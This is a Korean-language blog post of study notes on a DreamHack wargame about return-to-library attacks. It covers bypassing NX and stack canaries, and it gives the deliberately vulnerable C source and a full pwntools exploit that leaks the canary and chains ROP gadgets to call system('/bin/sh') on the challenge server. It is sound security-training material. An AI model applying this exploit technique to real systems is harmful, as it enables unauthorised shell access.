Information Security
[DreamHack] Return to Library 본문
Return To Library
NX
- 공격자가 버퍼에 주입한 셸 코드 실행이 어려워짐
- 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것 가능
-> 실행 권한이 남아 있는 코드 영역으로 반환 주소를 덮는 공격 기법
메모리 영역은 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역
libc에는 system, execve등 프로세스의 실행과 관련된 함수들이 구현되어 있음
Return To Libc
libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법
Return To Library
다른 라이브러리도 공격에 활용
[wargame] Description
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
카나리 존재, NX 적용
ASLR이 적용되어도 PIE가 적용되지 않을 시
- 코드 세그먼트와 데이터 세그먼트 주소 고정
- PLT주소 고정
익스플로잇 설계
1. 카나리 우회
Exploit Tech: Return To Shellcode 에서와 마찬가지로, 첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있습니다.
2. rdi값을 “/bin/sh”의 주소로 설정 및 셸 획득
카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있습니다. 그러나 NX로 인해 지난 강의에서와 같이 buf에 셸 코드를 주입하고 이를 실행할 수는 없습니다. 이 강의에서는 다른 방법으로 셸을 획득해야 합니다.
공격을 위해 알고 있는 정보를 정리해보면 다음과 같습니다.
- “/bin/sh”의 주소를 안다.
- system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다.
Exploit Tech: Return Address Overwrite에서 system(“/bin/sh”)을 호출하면 셸을 획득할 수 있음을 배웠습니다. x86-64의 호출 규약에 따르면 이는 rdi=”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같습니다.
이 예제에서는 “/bin/sh”의 주소를 알고, system 함수를 호출할 수 있으므로 “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 system(“/bin/sh”)를 실행할 수 있습니다. 이를 위해선 리턴 가젯을 활용해야 합니다.
카나리 우회
buf부터 rbp까지의 거리: 0x40
buf부터 canary까지의 거리: 0x40-0x08 = 0x38
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
리턴 가젯 찾기
$ python3 -m pip install ROPgadget --user
--re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있음
익스플로잇
“/bin/sh”의 주소 확인
plt 주소 확인
pwndbg> plt
info func @plt
system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 함
-> system 함수 내부에 있는 movaps 명령어 때문
-> 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킴
system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8 바이트 뒤로 미뤄보는 것이 좋음
->. 이를 위해서 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있음
paylaod
스택 구조
ret 주소 0x000000000040101a로 설정
sfp: 8바이트
셸 확인 가능
Return to Library
익스플로잇 코드
from pwn import *
p=remote("host3.dreamhack.games", 24456)
e=ELF('./rtl')
def slog(n,m): return success(': '.join([n, hex(m)]))
buf=b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry=u64(b'\x00'+p.recvn(7))
slog('canary', cnry)
system_plt=e.plt['system']
binsh=0x400874
pop_rdi=0x0000000000400853
ret=0x0000000000400285
payload = b'A'*0x38
payload += p64(cnry)
payload += b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.recvuntil("Buf: ")
p.send(payload)
p.interactive()
'INTERLUDE > System Hacking' 카테고리의 다른 글
[DreamHack] basic_rop_x64 (0) | 2024.03.07 |
---|---|
[DreamHack] Return Oriented Programming (0) | 2024.02.23 |
[DreamHack] Static Link vs. Dynamic Link (0) | 2024.02.14 |
[DreamHack] NX & ASLR (0) | 2024.02.13 |
[DreamHack] Stack Canary (1) | 2024.02.13 |